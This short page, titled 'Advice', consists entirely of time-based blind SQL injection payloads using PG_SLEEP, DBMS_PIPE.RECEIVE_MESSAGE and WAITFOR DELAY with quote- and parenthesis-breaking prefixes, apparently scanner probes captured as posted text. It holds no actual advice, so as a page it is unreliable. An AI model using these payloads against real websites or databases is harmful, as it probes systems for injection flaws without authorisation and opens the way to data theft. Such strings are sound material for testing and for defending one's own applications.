Advice

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555eRBF08Mu’)) OR 643=(SELECT 643 FROM PG_SLEEP(15))–

555FBPvZo6v’) OR 879=(SELECT 879 FROM PG_SLEEP(15))–

555XwAGxuoR’ OR 48=(SELECT 48 FROM PG_SLEEP(15))–

555-1)) OR 466=(SELECT 466 FROM PG_SLEEP(15))–

555-1) OR 678=(SELECT 678 FROM PG_SLEEP(15))–

555-1 OR 78=(SELECT 78 FROM PG_SLEEP(15))–

5551NTVtYJW’; waitfor delay ‘0:0:15’ —

555-1 waitfor delay ‘0:0:15’ —

555-1); waitfor delay ‘0:0:15’ —